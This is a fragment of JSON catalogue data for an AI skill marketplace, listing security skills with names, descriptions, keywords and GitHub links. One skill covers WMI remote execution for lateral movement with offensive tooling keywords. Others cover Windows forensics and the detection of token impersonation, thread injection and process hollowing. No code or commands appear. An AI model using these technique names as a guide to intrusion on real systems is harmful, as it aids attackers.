engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[24,104,127,107,128,129,130,40,39,131,132,133,134,135,38,136,137,37,138,139],"services wmi exec exploit","exec","remote","traffic","analysis","team","across","crackmapexec","native","command","lateral movement","lateral-movement","Impacket",{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":146,"publishedAt":44},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[147,148,149,150,151,152,40,39,153,131,154,155,38,37,156,157,158,159,160,34],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":162,"name":163,"nameZh":6,"description":164,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":165,"categories":166,"keywords":167,"publishedAt":44},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[105,168,36,169,33,170,171,43,172,40,119,173,174,175,176,177,178,179,180,38],"processes token impersonate detect","processes","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":187,"publishedAt":44},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[188,189,105,190,169,170,191,43,192,172,40,119,131,193,194,195,196,180,38,109],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":44},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[204,105,169,205,191,43,206,207,40,119,208,209,210,211,212,213,38,109,214,215],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]